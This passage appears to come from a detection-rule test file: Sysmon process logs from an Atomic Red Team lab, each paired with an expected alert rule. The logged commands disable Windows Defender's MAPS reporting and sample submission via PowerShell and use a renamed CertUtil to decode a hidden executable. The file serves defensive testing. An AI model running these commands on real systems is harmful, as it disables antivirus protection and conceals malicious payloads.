{4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T20:05:11.1856889Z\",\"eventRecordID\":\"253083\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -MAPSReporting Disabled", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-65f7-60e3-6c01-000000004800}", "win.eventdata.processId": "5996", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 20:05:11.183", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253083", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T20:05:11.1856889Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92014", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Microsoft Active Protection Service (MAPS) was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-66cb-60e3-7101-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"1492\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 20:08:43.978\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -SubmitSamplesConsent NeverSend\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 20:08:43.978\\r\\nProcessGuid: {4dc16835-66cb-60e3-7101-000000004800}\\r\\nProcessId: 1492\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -SubmitSamplesConsent NeverSend\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T20:08:43.9804703Z\",\"eventRecordID\":\"253147\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -SubmitSamplesConsent NeverSend", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-66cb-60e3-7101-000000004800}", "win.eventdata.processId": "1492", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 20:08:43.978", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253147", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T20:08:43.9804703Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92015", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender sample submit was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"CertUtil.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\cert.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"CertUtil.exe\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-6c17-60e3-8f01-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"3960\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\\",\"utcTime\":\"2021-07-05 20:31:19.061\",\"hashes\":\"SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\cert.exe\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-07-05 20:31:19.061\\r\\nProcessGuid: {4dc16835-6c17-60e3-8f01-000000004800}\\r\\nProcessId: 3960\\r\\nImage: C:\\\\Windows\\\\cert.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: CertUtil.exe\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: CertUtil.exe\\r\\nCommandLine: C:\\\\Windows\\\\cert.exe -decode c:\\\\x\\\\peer.crt c:\\\\x\\\\agent.exe\\r\\nCurrentDirectory: C:\\\\Windows\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T20:31:19.0634236Z\",\"eventRecordID\":\"253469\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\cert.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\", "win.eventdata.description": "CertUtil.exe", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA", "win.eventdata.image": "C:\\\\Windows\\\\cert.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "CertUtil.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-6c17-60e3-8f01-000000004800}", "win.eventdata.processId": "3960", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 20:31:19.061", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253469", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T20:31:19.0634236Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92016", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Masqueraded CertUtil.exe with a different file name"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"CertUtil.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\cert.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"CertUtil.exe\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-6c17-60e3-8f01-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"3960\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\\",\"utcTime\":\"2021-07-05 20:31:19.061\",\"hashes\":\"SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\cert.exe -decode c:\\\\\\\\x\\\\\\\\peer.crt c:\\\\\\\\x\\\\\\\\agent.exe\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-07-05 20:31:19.061\\r\\nProcessGuid: {4dc16835-6c17-60e3-8f01-000000004800}\\r\\nProcessId: 3960\\r\\nImage: C:\\\\Windows\\\\cert.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: CertUtil.exe\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: CertUtil.exe\\r\\nCommandLine: C:\\\\Windows\\\\cert.exe -decode c:\\\\x\\\\peer.crt c:\\\\x\\\\agent.exe\\r\\nCurrentDirectory: C:\\\\Windows\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T20:31:19.0634236Z\",\"eventRecordID\":\"253469\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\cert.exe -decode c:\\\\x\\\\peer.crt c:\\\\x\\\\agent.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\", "win.eventdata.description": "CertUtil.exe", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA", "win.eventdata.image": "C:\\\\Windows\\\\cert.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "CertUtil.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-6c17-60e3-8f01-000000004800}", "win.eventdata.processId": "3960", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 20:31:19.061", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253469", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T20:31:19.0634236Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92017", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Masqueraded CertUtil.exe used to decode binary file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"CertUtil.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\certutil.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"CertUtil.exe\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-6c17-60e3-8f01-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"3960\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\\",\"utcTime\":\"2021-07-05 20:31:19.061\",\"hashes\":\"SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\cert.exe -decode c:\\\\\\\\x\\\\\\\\peer.crt c:\\\\\\\\x\\\\\\\\agent.exe\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-07-05 20:31:19.061\\r\\nProcessGuid: {4dc16835-6c17-60e3-8f01-000000004800}\\r\\nProcessId: 3960\\r\\nImage: C:\\\\Windows\\\\cert.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: CertUtil.exe\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: CertUtil.exe\\r\\nCommandLine: C:\\\\Windows\\\\cert.exe -decode c:\\\\x\\\\peer.crt c:\\\\x\\\\agent.exe\\r\\nCurrentDirectory: C:\\\\Windows\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=ED314BE18A50107B404681FA5FD74B6B17109CBE,MD5=AB8F510E2A9B9F932A6AB1BBA4E73ED9,SHA256=97DB9285A916F00B0C8149C7B36438726E227C5DD26E874037734C23B50066DC,IMPHASH=7B7F7ED372C027216AE5100589C424EA\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T20:31:19.0634236Z\",\"eventRecordID\":\"253469\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\cert.exe -decode c:\\\\x\\\\peer.crt c:\\\\x\\\\agent.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\", "win.eventdata.description": "CertUtil.exe", "win.eventdata.fileVersion": "10.0.19041.1 